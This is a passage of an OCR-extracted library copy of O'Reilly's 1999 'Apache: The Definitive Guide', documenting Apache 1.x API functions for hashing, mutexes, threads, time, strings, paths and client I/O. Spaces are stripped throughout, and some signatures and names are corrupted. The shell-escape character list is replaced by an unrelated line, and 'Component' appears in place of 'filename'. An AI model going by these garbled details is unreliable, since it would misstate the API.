char*ap_md5(pool*p,unsignedchar*string)
CalculatestheMD5hashofstring,returningtheASCIIhexrepresentationofthehash(whichis33bytes,includingterminatingNUL),allocatedinthepoolp.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page257
ap_md5contextTo64convertanMD5contexttobase64encoding
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
char*ap_md5contextTo64(pool*a,AP_MD5_CTX*context)
TaketheMD5hashincontext(whichmustnothavehadap_MD5Finalrun)andmakeabase64representationofitinthepoola.
ap_md5digestmakeabase64MD5digestofanopenfile
char*ap_md5digest(pool*p,FILE*infile)
Readsthefileinfilefromitscurrentpositiontotheend,returningabase64MD5digestallocatedinthepoolp.Thefileisrewoundtothebeginningafter
calculatingthedigest.
ap_MD5InitinitializeanMD5digest
voidap_MD5Init(AP_MD5_CTX*context)
Initializescontext,inpreparationforanMD5digest.
ap_MD5FinalfinalizeanMD5digest
voidap_MD5Final(unsignedchardigest[16],AP_MD5_CTX*context)
FinishestheMD5operation,writingthedigesttodigestandzeroingscontext.
ap_MD5UpdateaddablocktoanMD5digest
voidap_MD5Update(AP_MD5_CTX*context,constunsignedchar*input,unsignedintinputLen)
ProcessesinputLenbytesofinput,addingthemtothedigestbeingcalculatedincontext.
SynchronizationandThreadFunctions
Thesefunctionshideoperatingsystemdependentfunctions.OnplatformsthatdonotusethreadsforApache,thesefunctionsexistbutdonotdoanythingthey
simulatesuccessifcalled.
Notethatofthesefunctions,onlythemutexfunctionsareactuallyimplemented.Therestaredocumentedforcompleteness(andincasetheygetimplemented).
MutexFunctions
ap_create_mutexcreateamutualexclusionobject
mutex*ap_create_mutex(char*name)
Createsamutexobjectwiththenamename.ReturnsNULLiftheoperationfails.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page258
ap_open_mutexopenamutualexclusionobject
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
mutex*ap_open_mutex(char*name)
Opensanexistingmutexwiththenamename.ReturnsNULLiftheoperationfails.
ap_acquire_mutexlockanopenmutexobject
intap_acquire_mutex(mutex*mutex_id)
Lockstheopenmutexmutex_id.Blocksuntilthelockisavailable.ReturnsMULTI_OKorMULTI_ERR.
ap_release_mutexreleasealockedmutex
intap_release_mutex(mutex*mutex_id)
Unlockstheopenmutexmutex_id.Blocksuntilthelockisavailable.ReturnsMULTI_OKorMULTI_ERR.
ap_destroy_mutexdestroyanopenmutex
voidap_destroy_mutex(mutex*mutex_id)
Destroysthemutexmutex_id.m
SemaphoreFunctions
create_semaphorecreateasemaphore
semaphore*create_semaphore(intinitial)
Createsasemaphorewithaninitialvalueofinitial.
acquire_semaphoreacquireasemaphore
intacquire_semaphore(semaphore*semaphore_id)
Acquiresthesemaphoresemaphore_id.Blocksuntilitisavailable.ReturnsMULTI_OKorMULTI_ERR.
release_semaphorereleaseasemaphore
intrelease_semaphore(semaphore*semaphore_id)
Releasesthesemaphoresemaphore_id.ReturnsMULTI_OKorMULTI_ERR.
destroy_semaphoredestroyanopensemaphorevoiddestroy_semaphore(semaphore*semaphore_id)
Destroysthesemaphoresemaphore_id.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page259
EventFunctions
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
create_eventcreateanevent
event*create_event(intmanual,intinitial,char*name)
Createsaneventnamedname,withaninitialstateofinitial.Ifmanualistrue,theeventmustberesetmanually.Ifnot,settingtheeventimmediatelyresetsit.
ReturnsNULLonfailure.
open_eventopenanexistingevent
event*open_event(char*name)
Opensanexistingeventnamedname.ReturnsNULLonfailure.
acquire_:eventwaitforaneventtobesignaled
intacquire_event(event*event_:id)
Waitsfortheeventevent_idtobesignaled.ReturnsMULTI_OKorMULTI_ERR.
set_eventsignalanevent
intset_event(event*event_id)
Signalstheeventevent_id.ReturnsMULTI_OKorMULTI_ERR.
reset_eventclearanevent:
intreset_event(event*event_id)
Clearstheeventevent_id..ReturnsMULTI_OKorMULTI_ERR.
destroy_eventdestroyanopenevent
voiddestroy_event(event*event_id)
Destroystheeventevent_id.
ThreadFunctions
create_threadcreateathread
thread*create_thread(void(thread_fn)(void*thread_arg),void*thread_arg)
Createsathread,callingthread_fnwiththeargumentthread_arginthenewlycreatedthread.ReturnsNULLonfailure.
kill_threadkillathread
intkill_thread(thread*thread_id)
Killsthethreadthread_id.Sincethismayleaveathread'sresourcesinanunknownstate,itshouldonlybeusedwithcaution.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page260
await_threadwaitforathreadtocomplete
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intawait_thread(thread*thread_id,intsec_to_wait)
Waitsforthethreadthread_idtocomplete,orforsec_to_waitsecondstopass,whichevercomesfirst.ReturnsMULTI_OK,MULTI_TIMEOUT,or
MULTI_ERR.
exit_threadexitthecurrentthread
voidexit_thread(intstatus)
Exitsthecurrentthread,returningstatusasthethread'sstatus.
free_threadfreeathread'sresources
voidfree_thread(thread*thread_id)
Freestheresourcesassociatedwiththethreadthreadthread_id.Shouldonlybedoneafterthethreadhasterminated.
TimeandDateFunctions
ap_get_timereturnahumanreadableversionofthecurrenttime
char*ap_get_time(void)
Usesctimetoformatthecurrenttimeandremovesthetrailingnewline.Returnsapointertoastringcontainingthetime.
ap_ht_timereturnapoolallocatedstringdescribingatime
char*ap_get_time(pool*p,time_tt,constchar*fmt,intgmt)
Formatsthetimeusingstrftimeandreturnsapoolallocatedcopyofit.Ifgmtisnonzero,thetimeisformattedasGMTotherwise,itisformattedaslocaltime.
Returnsapointertothestringcontainingthetime.
ap_gm_timestr_822formatatimeaccordingtoRFC822
char*ap_gm_timestr_822(pool*p,time_tt)
FormatsthetimeasspecifiedbyRFC822(StandardfortheFormatofARPAInternetTextMessages*.)ThetimeisalwaysformattedasGMT.Returnsapointer
tothestringcontainingthetime.
ap_get_gmtoffgetthetimeandcalculatethelocaltimezoneoffsetfromGMT
structtm*ap_get_gmtoff(long*tz)
Returnsthecurrentlocaltime,andtzisfilledinwiththeoffsetofthelocaltimezonefromGMT,inseconds.
*Or,inotherwords,mail.SinceHTTPhaselementsborrowedfromMIME,andMIMEisformail,youcanseetheconnection.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page261
ap_tm2secconvertastructtmtostandardUnixtime
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
time_tap_tm2sec(conststructtm*t)
Returnsthetimeintasthetimeinsecondssince1Jan197000:00GMT.tisassumedtobeinGMT.
ap_parseHTTPdateconvertanHTTPdatetoUnixtime
time_tap_parseHTTPdate(constchar*date)
Parsesadateinoneofthreeformats,returningthetimeinsecondssince1Jan197000:00GMT.Thethreeformatsareasfollows:
Sun,06Nov199408:49:37GMT(RFC822,updatedbyRFC1123)
Sunday,06Nov9408:49:37GMT(RFC850,madeobsoletebyRFC1036)
SunNov608:49:371994(ANSICasctime()format)
NotethatsinceHTTPrequiresdatestobeinGMT,thisroutineignoresthetimezonefield.
StringFunctions
ap_strcmp_matchwildcardmatchtwostrings
intap_strcasecmp_match(constchar*str,constchar*exp)
Matchestrtoexp,exceptthat*and?canbeusedinexptomean"anynumberofcharacters"and"anycharacter,"respectively.Youshouldprobablyusethe
newerandmorepowerfulregularexpressionsfornewcode.Returns1forsuccess,0forfailure,and1forabort.
ap_strcasecmp_matchcaseblindwildcardmatchtwostrings
intap_strcasecmp_match(constchar*str,constchar*exp)
Similartostrcmp_match,exceptmatchingiscaseblind.
ap_is_matchexpdoesastringcontainwildcards?
intap_is_matchexp(constchar*exp)
Returns1ifexpcontains*or?0otherwise.
ap_getwordextractonewordfromalistofwords
char*ap_getword(pool*p,constchar*line,charstop)char*ap_getword_nc(pool*p,char*line,charstop)
Looksforthefirstoccurrenceofstopin*lineandcopieseverythingbeforeittoanewbuffer,whichitreturns.If*linecontainsnostops,thewholeof*line
iscopied.*lineisupdatedtopointaftertheoccurrenceofstop,skippingmultipleinstancesofstopifpresent.ap_getword_nc()isaversionof
ap_getword()
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page262
thattakesanonconstantpointer.ThisisbecausesomeCcompilerscomplainifachar*ispassedtoafunctionexpectingaconstchar*.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ap_getword_whiteextractonewordfromalistofwords
char*ap_getword_white(pool*p,constchar*line)char*ap_getword_white_nc(pool*p,char*line)
Workslikeap_getword(),exceptthewordsareseparatedbywhitespace(asdeterminedbyisspace).
ap_getword_nullsextractonewordfromalistofwords
char*ap_getword_nulls(pool*p,constchar**line,charstop)char*ap_getword_nulls_nc(pool*p,char**line,charstop)
Workslikeap_getword(),exceptthatmultipleoccurrencesofstoparenotskipped,sonullentriesarecorrectlyprocessed.
ap_getword_confextractonewordfromalistofwords
char*ap_getword_conf(pool*p,constchar**line)
char*ap_getword_conf_nc(pool*p,char**line)
Workslikeap_getword(),exceptthatwordscanbeseparatedbywhitespaceandcanusequotesandbackslashestoescapecharacters.Thequotesand
backslashesarestripped.
ap_get_tokenextractatokenfromastring
char*ap_get_token(pool*p,constchar**line,intaccept_white)
Extractsatokenfrom*line,skippingleadingwhitespace.Thetokenisdelimitedbyacommaorasemicolon.Ifaccept_whiteiszero,itcanalsobe
delimitedbywhitespace.Thetokencanalsoincludedelimitersiftheyareenclosedindoublequotes,whicharestrippedintheresult.Returnsapointertotheextracted
token,whichhasbeenallocatedinthepoolp
ap_find_tokenlookforatokeninaline(usuallyanHTTPheader)
intap_find_token(pool*p,constchar*line,constchar*tok)
Looksfortokinline.Returnsnonzeroiffound.Thetokenmustexactlymatch(caseblind)andisdelimitedbycontrolcharacters(determinedbyiscntrl),
tabs,spaces,oroneofthesecharacters:
()<>@\\/[]?={}
ThiscorrespondstothedefinitionofatokeninRFC2068.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page263
ap_find_last_tokencheckifthelasttokenisaparticularstring
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_find_last_token(pool*p,constchar*line,constchar*tok)
Checkswhethertheendoflinematchestok,andtokisprecededbyaspaceoracomma.Returns1ifso,0otherwise.
ap_escape_shell_cmdescapedangerouscharactersinashellcommand
char*ap_escape_shell_cmd(pool*p,constchar*s)
Prefixesdangerouscharactersinswithabackslash,returningthenewversion.Thecurrentsetofdangerouscharactersisasfollows:
if(ap_checkmask(date,"##@$$######:##:##*"))
*Don'tthinkthatusingthisfunctionmakesshellscriptssafe:itdoesn't.SeeChapter13,Security.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page264
ap_str_tolowerconvertastringtolowercase
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_str_tolower(char*str)
Convertsstrtolowercase,inplace.
ap_psprintfformatastring
char*ap_psprintf(pool*p,constchar*fmt,)
Muchthesameasthestandardfunctionsprintf()exceptthatnobufferissuppliedinstead,thenewstringisallocatedinp.Thismakesthisfunctioncompletely
immunefrombufferoverflow.Alsoseeap_vformatter().
ap_pvsprintfformatastring
char*ap_pvsprintf(pool*p,constchar*fmt,va_listap)
Similartoap_psrintf(),exceptthatvarargsareused.
ap_indfindthefirstindexofacharacterinastring
intap_ind(constchar*s,charc)
Returnstheoffsetofthefirstoccurrenceofcins,or1ifcisnotins.
ap_rindfindthelastindexofacharacterinastring
intap_rind(constchar*s,charc)
Returnstheoffsetofthelastoccurrenceofcins,or1ifcisnotins.
Path,Component,andURLManipulationFunctions
ap_getparentsremove''."and".."segmentsfromapath
voidap_getparents(char*name)
Removes".."and"."segmentsfromapath,asspecifiedinRFC1808(RelativeUniformResourceLocators.)Thisisimportantnotonlyforsecuritybutalsotoallow
correctmatchingofURLs.NotethatApacheshouldneverbepresentedwithapathcontainingsuchthings,butitshouldbehavecorrectlywhenitis.
ap_no2slashremove"//"fromapath
voidap_no2slash(char*name)
Removesdoubleslashesfromapath.ThisisimportantforcorrectmatchingofURLs.
ap_make_dirstrmakeacopyofapathwithatrailingslash,ifneeded
char*ap_make_dirstr(pool*p,constchar*path,intn)
Makesacopyofpathguaranteedtoendwithaslash.Itwilltruncatethepathatthenthslash.Returnsapointertothecopy,whichwasallocatedinthepoolp.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page265
ap_make_dirstr_parentmakethepathoftheparentdirectory
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
char*ap_make_dirstr_parent(pool*p,constchar*s)
Makeanewstringinpwiththepathofs'sparentdirectory,withatrailingslash.
ap_make_dirstr_prefixcopypartofapath
char*ap_make_dirstr_prefix(char*d,constchar*s,intn)
Copythefirstnpathelementsfromstod,orthewholeofsiftherearelessthannpathelements.Notethataleadingslashcountsasapathelement.
ap_count_dirscountthenumberofslashesinapath
intap_count_dirs(constchar*path)
Returnsthenumberofslashesinapath.
ap_chdir_filechangetothedirectorycontainingfile
voidap_chdir_file(constchar*file)
Performsachdir()tothedirectorycontainingfile.Thisisdonebyfindingthelastslashinthefileandchangingtothedirectoryprecedingit.Ifthereareno
slashesinthefile,itattemptsachdirtothewholeoffile.Itdoesnotcheckthatthedirectoryisvalid,northatthechdirsucceeds.
ap_unescape_urlremoveescapesequencesfromaURL
intap_unescape_url(char*url)
Convertsescapesequences(%xx)inaURLbacktotheoriginalcharacter.Theconversionisdoneinplace.Returns0ifsuccessful,BAD_EQUESTifabadescape
sequenceisfound,andNOT_FOUNDif%2f(whichconvertsto"/""or%00isfound.
ap_construct_servermaketheserverpartofaURL
char*ap_construct_server(pool*p,constchar*hostname,intport,request_rec*r)
MakestheserverpartofaURLbyappending:<port>tohostnameifportisnotthedefaultportfortheschemeusedtomaketherequest.
ap_construct_urlmakeanHTTPURL
char*ap_construct_url(pool*p,constchar*uri,constrequest_rec*r)
MakesaURLbyprefixingtheschemeusedbyrtotheservernameandportextractedfromr,andappendinguri.ReturnsapointertotheURL.
ap_escape_path_segmentescapeapathsegmentasperRFC1808
char*ap_escape_path_segment(pool*p,constchar*segment)
Returnsanescapedversionofsegment,asperRFC1808.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page266
ap_os_escape_pathescapeapathasperRFC1808
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
char*ap_os_escape_path(pool*p,constchar*path,intpartial)
Returnsanescapedversionofpath,perRFC1808.Ifpartialisnonzero,thepathisassumedtobeatrailingpartialpath(sothata"./"isnotusedtohidea":").
ap_is_directorycheckswhetherapathreferstoadirectory
intap_is_directory(constchar*path)
Returnsnonzeroifpathisadirectory.
ap_make_full_pathcombinestwopathsintoone
char*ap_make_full_path(pool*p,constchar*path1,constchar*path2)
Appendspath2topath1,ensuringthatthereisonlyoneslashbetweenthem.Returnsapointertothenewpath.
ap_is_urlcheckswhetherapathreferstoadirectory
intap_is_url(constchar*url)
ReturnsnonzeroifurlisaURL.AURLisdefined,forthispurpose,tobe"<anystringofnumbers,letters,+,,or.(dot)>:<anything>."
ap_fnmatmatchaComponent
intap_fnmatch(constchar*pattern,constchar*string,intflags)
Matchesstringagainstpattern,returning0foramatchandFNM_NOMATCHotherwise.patternconsistsofthefollowing:
?Matchasinglecharacter.
*Matchanynumberofcharacters.
[]
Aclosure,likeinregularexpressions.Aleadingcaret(^)invertstheclosure.
\IfFNM_NOESCAPEisnotset,removesanyspecialmeaningfromnextcharacter.flagsisacombinationofthefollowing:
FNM_NOESCAPE
Treata"\"asanormalcharacter.
FNM_PATHNAME
*,?,and[]don'tmatch"/.".
FNM_PERIOD
*,?,and[]don'tmatchleadingdots."Leading"meanseitheratthebeginningofthestring,oraftera"/"ifFNM_PATHNAMEisset.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page267
ap_is_fnmatchcheckwhetherastringisapattern
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_is_fnmatch(constchar*pattern
Returns1ifpatterncontains?,*,or[],0otherwise.
ap_server_root_relativemakeapathrelativetotheserverroot
char*ap_server_root_relative(pool*p,char*file)
Iffileisnotanabsolutepath,appendittotheserverroot,inthepoolp.Ifitisabsolute,simplyreturnit(notacopy).
ap_os_canonical_ComponentconvertaComponenttoitscanonicalform
char*ap_os_canonical_Component(pool*pPool,constchar*szFile)
ReturnsacanonicalformofaComponent.Thisisneededbecausesomeoperatingsystemswill
acceptmorethanonestringforthesamefile.Win32,forexample,iscaseblind,ignorestrailing
dotsandspaces,andsoon.*ThisfunctionisgenerallyusedbeforecheckingaComponent
againstapatternorothersimilaroperations.
UserandGroupFunctions
ap_uname2idconvertausernametoauserID(UID)
uid_tap_uname2id(constchar*name)
Ifnamestartswitha"#",returnsthenumberfollowingitotherwise,looksitupusing
getpwnam()andreturnstheUID.UnderWin32,thisfunctionalwaysreturns1.
ap_uname2idconvertagroupnametoagroupID(GID)
gid_tap_gname2id(constchar*name)
Ifnamestartswitha"#",returnsthenumberfollowingitotherwise,looksitupusing
getgrnam()andreturnstheGID.UnderWin32,thisfunctionalwaysreturns1.
TCP/IPandI/OFunctions
ap_get_virthost_addrconvertabostnameorporttoanaddress
unsignedlongap_get_virthost_addr(constchar*hostname,short*ports)
Convertsahostnameoftheformname[:port]toanIPaddressinnetworkorder,whichitreturns.*portsisfilledinwiththeportnumberifitisnotNULL.If
nameismissingor"*",INADDR_ANYisreturned.Ifportismissingor"*",*portsissetto0.
*Infact,exactlywhatWindowsdoeswithComponentsisverypoorlydocumentedandisaseeminglyendlesssourceofsecurityholes.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page268
IfthehosthasmultipleIPaddresses,anerrormessageisprintedandexit()iscalled.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ap_get_local_hostgettheFQDNforthelocalhost
char*ap_get_local_host(pool*p)
Returnsapointertothefullyqualifieddomainnameforthelocalhost.Ifitfails,anerrormessageisprinted,andexit()iscalled.
ap_get_remote_hostgetclientbostnameorIPaddress
constchar*ap_get_remote_host(conn_rec*conn,void*dir_config,inttype)
ReturnsthehostnameorIPaddress(asastring)oftheclient.dir_configistheper_dir_configmemberofthecurrentrequestorNULL.typeisoneof
thefollowing:
REMOTE_HOST
ReturnsthehostnameorNULL(ifiteithercouldn'tbefoundorhostnamelookupsaredisabledwiththeHostnameLookupsdirective).
REMOTE_NAME
Returnsthehostnameor,ifitcan'tbefound,returnstheIPaddress.
REMOTE_NOLOOKUP
SimilartoREMOTE_NAME,exceptthataDNSlookupisnotperformed(notethatthenamecanstillbereturnedifapreviouscalldiddoaDNSlookup).
REMOTE_DOUBLE_REV
Doadoublereverselookup(thatis,lookupthehostnamefromtheIPaddress,thenlookuptheIPaddressfromthename).IfthedoublereverseworksandtheIP
addressesmatch,returnthenameotherwise,returnaNULL.
ap_send_fdcopyanopenfiletotheclient
longap_send_fd(FILE*f,request_rec*r)
Copiesthestreamftotheclient.Returnsthenumberofbytessent.
ap_send_fd_lengthcopyanumberofbytesfromanopenfiletotheclient
longap_send_fd_lengthFILE*f,request_rec*r,longlength)
Copiesnomorethanlengthbytesfromftotheclient.Iflengthislessthan0,copiesthewholefile.Returnsthenumberofbytessent.
ap_send_fbcopyanopenstreamtoaclient
longap_send_fb(BUFF*fb,request_rec*r)
Similartoap_send_fd()exceptthatitsendsaBUFF*insteadofaFILE*.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page269
ap_send_fb_lengthcopyanumberofbytesfromanopenstreamtoaclient
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
longap_send_fb_length(BUFF*fb,request_rec*r,longlength)
Similartoap_send_fd_length(),exceptthatitsendsaBUFF*insteadofaFILE*.
ap_send_mmapsenddatafromaninmemorybuffer
size_tap_send_mmap(void*mm,request_rec*r,size_toffset,size_tlength)
Copieslengthbytesfrommm+offsettotheclient.ThedataiscopiedMMAP_SEGMENT_SIZEbytesatatime,withthetimeoutresetinbetweeneach
one.Althoughthiscanbeusedforanymemorybuffer,itisreallyintendedforusewithmemorymappedfiles(whichmaygiveperformanceadvantagesoverother
meansofsendingfilesonsomeplatforms).
ap_rwritewriteabuffertotheclient
intap_rwrite(constvoid*buf,intnbyte,request_rec*r)
Writesnbytebytesfrombuftotheclient.Returnsthenumberofbyteswrittenor1onanerror.
ap_rputcsendacharactertotheclient
intap_rputc(intc,request_rec*r)
Sendsthecharacterctotheclient.Returnsc,orEOFiftheconnectionhasbeenclosed.
ap_rputssendastringtotheclient
intap_rputs(constchar*s,request_rec*r)
Sendsthestringstotheclient.Returnsthenumberofbytessent,or1ifthereisanerror.
ap_rvputssendalistofstringstotheclient
intap_rvputs(request_rec*r,...)
SendstheNULLterminatedlistofstringstotheclient.Returnsthenumberofbytessent,or1ifthereisanerror.
ap_rprintfsendaformattedstringtotheclient
intap_rprintf(request_rec*r,constchar*fmt,...)
Formatstheextraargumentsaccordingtofmt(astheywouldbeformattedbyprintf())andsendstheresultingstringtotheclient.Returnsthenumberof
bytessent,or1ifthereisanerror.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page270
ap_rflushflushclientoutput
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
intap_rflush(request_rec*r)
Causesanybuffereddatatobesenttotheclient.Returns0onsuccess,1onanerror.
ap_setup_client_blockpreparetoreceivedatafromtheclient
intap_setup_client_block(request_rec*r,intread_policy)
Preparestoreceive(ornotreceive,dependingonread_policy)datafromtheclient,typicallybecausetheclientmadeaPUTorPOSTrequest.Checksthatall
iswelltodothereceive.ReturnsOKifalliswell,orastatuscodeifnot.NotethatthisroutinestillreturnsOKiftherequestisnotonethatincludesdatafromtheclient.
Thisshouldbecalledbeforeap_should_client_block().
read_policyisoneofthefollowing:
REQUEST_NO_BODY
ReturnHTTP_REQUEST_ENTITY_TOO_LARGEiftherequesthasanybody.
REQUEST_CHUNECED_DECHUNK
IftheTransferEncodingischunked,returnHTTP_BAD_REQUESTifthereisaContentLengthheader,orHTTP_LENGTH_REQUIREDifnot.*
REQUEST_CHUNKED_DECHUNK
Handleschunkedencodinginap_get_client_block(),returningjustthedata.
REQUEST_CHUNKED_PASS
Handleschunkedencodinginap_get_client_block(),returningthedataandthechunkheaders.
ap_should_client_blockreadytoreceivedatafromtheclient
intap_should_client_block(request_rec*r)
Checkswhethertheclientwillsenddataandinvitesittocontinue,ifnecessary(bysendinga100ContinueresponseiftheclientisHTTP/1.1orhigher).Returns
1iftheclientshouldsenddata0ifnot.ap_setup_client_block()shouldbecalledbeforethisfunction,andthisfunctionshouldbecalledbefore
ap_get_client_block().Thisfunctionshouldonlybecalledonce.Itshouldalsonotbecalleduntilwearereadytoreceivedatafromtheclient.
*Thismayseemperverse,buttheideaisthatbyaskingforaContentLength,weareimplicitlyrequestingthatthereisnoTransferEncoding(atleast,not
achunkedone).Gettingbothisanerror.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page271
ap_get_client_blockreadablockofdatafromtheclient
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
longap_get_client_block(request_rec*r,char*buffer,intbufsiz)
Readsuptobufsizcharactersintobufferfromtheclient.Returnsthenumberofbytesread,0ifthereisnomoredata,or1ifanerroroccurs.
ap_setup_client_block()andap_should_client_block()shouldbecalledbeforethis.Notethatthebuffershouldbeatleastbigenough
toholdachunksizeheaderline(becauseitmaybeusedtostoreonetemporarily).Sinceachunksizeheaderlineissimplyanumberinhex,50bytesshouldbe
plenty.
ap_send_http_headersendtheresponseheaderstotheclient
voidap_send_http_header(request_rec*r)
Sendstheheaders(mostlyfromr>headers_out)totheclient.Itisessentialtocallthisinarequesthandlerbeforesendingthecontent.
ap_send_sizesendasizeapproximately
voidap_send_size(size_tsize,request_rec*r)
Sendssizetotheclient,roundingittothenearestthousand,million,orwhatever.Ifsizeis1,printsaminussignonly.
RequestHandlingFunctions
ap_sub_req_lookup_filelookupaURIasifitwerearequest
request_rec*ap_sub_req_lookup_uri(constchar*new_uri,constrequest_rec*r)
Feedsnew_uriintothesystemtoproduceanewrequest_rec,whichhasbeenprocessedtojustbeforethepointatwhichtherequesthandlerwouldbe
called.IftheURIisrelative,itisresolvedrelativetotheURIofr.Returnsthenewrequest_rec.Thestatusmemberofthenewrequest_reccontains
anyerrorcode.
ap_sub_req_lookup_filelookupafileasifitwerearequest
request_rec*ap_sub_req_lookup_file(constchar*new_file,constrequest_rec*r)
Similartosub_req_lookup_uri()exceptthatitlooksupafile,soitthereforedoesn'tcallthenametranslatorsormatchagainst<Location>sections.
ap_run_sub_reqrunasubrequest
intap_run_sub_req(request_rec*r)
Runsasubrequestpreparedwithsub_req_lookup_file()orsub_req_lookup_uri().Returnsthestatuscodeoftherequesthandler.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page272
ap_destroy_sub_reqdestroyasubrequest
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
voidap_destroy_sub_req(request_rec*r)
Destroysasubrequestcreatedwithsub_req_lookup_file()orsub_req_lookup_uri()andreleasesthememoryassociatedwithit.Needlessto
say,youshouldcopyanythingyouwantfromasubrequestbeforedestroyingit.
ap_internal_redirectinternallyredirectarequest
voidap_intenal_redirect(constchar*uri,request_rec*r)
Internallyredirectsarequesttouri.Therequestisprocessedimmediately,ratherthanreturningaredirecttotheclient.
ap_internal_redirect_handlerinternallyredirectarequest,preservinghandler
voidap_internal_redirect_handler(constchar*uri,request_rec*r)
Similartoap_internal_redirect(),butusesthehandlerspecifiedbyr.
TimeoutandAlarmFunctions
ap_hard_timeoutsetahardtimeoutonarequest
voidap_hard_timeout(char*name,request_rec*r)
Setsanalarmtogooffwhentheserver'sconfiguredtimeoutexpires.Whenthealarmgoesoff,thecurrentrequestisabortedbydoingalongjmp()backtothe
toplevelanddestroyingallpoolsfortherequestr.Thestringnameisloggedtotheerrorlog.
ap_keepalive_timeoutsetthekeepalivetimeoutonarequest
voidap_keepalive_timeout(char*name,request_rec*r)
Workslikeap_hard_timeout()exceptthatiftherequestiskeptalive,thekeepalivetimeoutisusedinsteadoftheservertimeout.Thisshouldnormallybe
usedonlywhenawaitingarequestfromtheclient,andthusisusedonlyinhttp_protocol.c,butisincludedhereforcompleteness.
ap_soft_timeoutsetasofttimeoutonarequest
voidap_soft_timeout(char*name,request_rec*r)
